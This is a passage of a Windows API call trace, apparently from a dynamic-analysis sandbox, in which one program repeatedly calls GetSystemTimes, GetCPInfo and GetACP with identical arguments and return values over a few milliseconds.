lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.226] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.226] GetACP () returned 0x4e4 [0053.226] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.226] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.226] GetACP () returned 0x4e4 [0053.226] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.226] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.226] GetACP () returned 0x4e4 [0053.226] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.226] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.226] GetACP () returned 0x4e4 [0053.226] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.227] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.227] GetACP () returned 0x4e4 [0053.227] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.227] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.227] GetACP () returned 0x4e4 [0053.227] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.227] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.227] GetACP () returned 0x4e4 [0053.227] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.227] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.227] GetACP () returned 0x4e4 [0053.227] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.227] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.227] GetACP () returned 0x4e4 [0053.227] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.227] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.227] GetACP () returned 0x4e4 [0053.227] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.227] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.227] GetACP () returned 0x4e4 [0053.227] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.227] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.227] GetACP () returned 0x4e4 [0053.227] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.227] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.227] GetACP () returned 0x4e4 [0053.227] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.228] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.228] GetACP () returned 0x4e4 [0053.228] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.228] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.228] GetACP () returned 0x4e4 [0053.228] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.228] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.228] GetACP () returned 0x4e4 [0053.228] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.228] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.228] GetACP () returned 0x4e4 [0053.228] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.228] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.228] GetACP () returned 0x4e4 [0053.228] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.228] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.228] GetACP () returned 0x4e4 [0053.228] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.228] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.228] GetACP () returned 0x4e4 [0053.228] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.228] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.228] GetACP () returned 0x4e4 [0053.228] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.228] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.228] GetACP () returned 0x4e4 [0053.228] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.229] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.229] GetACP () returned 0x4e4 [0053.229] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.229] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.229] GetACP () returned 0x4e4 [0053.229] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.229] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.229] GetACP () returned 0x4e4 [0053.229] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.229] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.229] GetACP () returned 0x4e4 [0053.229] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.229] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.229] GetACP () returned 0x4e4 [0053.229] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.229] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.229] GetACP () returned 0x4e4 [0053.229] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.229] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.229] GetACP () returned 0x4e4 [0053.229] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.229] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.229] GetACP () returned 0x4e4 [0053.229] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.229] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.229] GetACP () returned 0x4e4 [0053.229] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.230] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.230] GetACP () returned 0x4e4 [0053.230] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.230] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.230] GetACP () returned 0x4e4 [0053.230] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.230] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.230] GetACP () returned 0x4e4 [0053.230] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.230] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.230] GetACP () returned 0x4e4 [0053.230] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.230] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.230] GetACP () returned 0x4e4 [0053.230] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.230] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.230] GetACP () returned 0x4e4 [0053.230] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.230] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.230] GetACP () returned 0x4e4 [0053.230] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.230] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.230] GetACP () returned 0x4e4 [0053.230] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.230] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.230] GetACP () returned 0x4e4 [0053.230] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.231] GetACP () returned 0x4e4 [0053.231] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.231] GetACP () returned 0x4e4 [0053.231] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.231] GetACP () returned 0x4e4 [0053.231] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.231] GetACP () returned 0x4e4 [0053.231] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.231] GetACP () returned 0x4e4 [0053.231] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.231] GetACP () returned 0x4e4 [0053.231] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.231] GetACP () returned 0x4e4 [0053.231] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.231] GetACP () returned 0x4e4 [0053.231] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.231] GetACP () returned 0x4e4 [0053.231] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.231] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.232] GetACP () returned 0x4e4 [0053.232] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.232] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.232] GetACP () returned 0x4e4 [0053.232] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.232] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.232] GetACP () returned 0x4e4 [0053.232] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.232] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.232] GetACP () returned 0x4e4 [0053.232] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.232] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.232] GetACP () returned 0x4e4 [0053.232] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.232] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.232] GetACP () returned 0x4e4 [0053.232] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.232] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.232] GetACP () returned 0x4e4 [0053.232] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.232] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.232] GetACP () returned 0x4e4 [0053.232] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.232] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.232] GetACP () returned 0x4e4 [0053.232] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.232] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.233] GetACP () returned 0x4e4 [0053.233] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.233] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.233] GetACP () returned 0x4e4 [0053.233] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.233] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.233] GetACP () returned 0x4e4 [0053.233] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.233] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.233] GetACP () returned 0x4e4 [0053.233] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.233] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.233] GetACP () returned 0x4e4 [0053.233] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.233] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.233] GetACP () returned 0x4e4 [0053.233] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.233] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.233] GetACP () returned 0x4e4 [0053.233] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.233] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.233] GetACP () returned 0x4e4 [0053.233] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, 